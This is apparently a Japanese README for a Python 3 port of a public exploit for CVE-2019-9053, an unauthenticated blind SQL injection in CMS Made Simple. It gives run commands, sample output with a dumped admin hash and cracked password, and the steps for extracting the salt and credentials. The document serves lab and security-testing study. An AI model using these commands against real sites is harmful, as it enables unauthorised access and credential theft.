
CMS Made Simple CVE-2019-9053 エクスプロイト(Python 3)
CMS Made Simple <= 2.2.9 を対象とした、時間ベースのブラインドSQLインジェクションエクスプロイトのPython 3移植版です。
オリジナルのエクスプロイトは Daniele Scanu @ Certimeter Group によるものです。
| 項目 | 詳細 |
|---|---|
| CVE | CVE-2019-9053 |
| 影響を受けるソフトウェア | CMS Made Simple <= 2.2.9 |
| 脆弱性の種類 | 未認証の時間ベースブラインドSQLインジェクション |
| 攻撃ベクトル | ネットワーク (認証不要) |
| パラメータ | Newsモジュールの m1_idlist |
News モジュールは m1_idlist GETパラメータのサニタイズに失敗するため、未認証の攻撃者が時間遅延を利用してデータベースから機密データを1文字ずつ抽出できます。
pip install requests termcolor
python3 CVE-2019-9053_py3.py -u http://target/cms
python3 CVE-2019-9053_py3.py -u http://target/cms --crack -w /path/to/wordlist.txt
python3 CVE-2019-9053_py3.py --help
| フラグ | 説明 |
|---|---|
-u, --url | 対象のCMS Made SimpleインストールのベースURL |
-w, --wordlist | パスワードクラッキング用のワードリストファイルのパス |
-c, --crack | パスワードクラッキングモードを有効化 (-w が必要) |
python3 CVE-2019-9053_py3.py -u http://10.49.164.146/simple/ --crack -w /usr/share/wordlists/rockyou.txt
想定される出力:
[+] Salt for password found: 1234abcd
[+] Username found: admin
[+] Email found: [email protected]
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96
[+] Password cracked: password123
cms_siteprefs テーブルに対して sitemask の値 (パスワードソルト) を問い合わせるcms_users から user_id = 1 のユーザー名を抽出するcms_users から user_id = 1 のメールアドレスを抽出するcms_users から user_id = 1 のMD5パスワードハッシュを抽出するMD5(salt + wordlist_entry) を計算し、ダンプしたハッシュと比較するインジェクションは SELECT SLEEP(N) を用いて各文字を推測します。レスポンスに遅延があれば、推測した文字が正しいことを意味します。
ヒント: スクリプトが遅い、または不安定な場合は、ネットワーク遅延を考慮してスクリプト内の
TIME変数を増やしてください。
| 変更 | 詳細 |
|---|---|
print 文 | print() 関数に変換 |
optparse | argparse に置き換え (optparseはPython 3で非推奨) |
hashlib.md5() | 入力は .encode('utf-8') を介してバイト列にエンコードされるように変更 |
| ファイル読み込み | .readlines() を with ブロックと .strip() に置き換え |
本プロジェクトは教育目的でのみ提供されています。ライセンス条件についてはExploit-DB上のオリジナルのエクスプロイトを参照してください。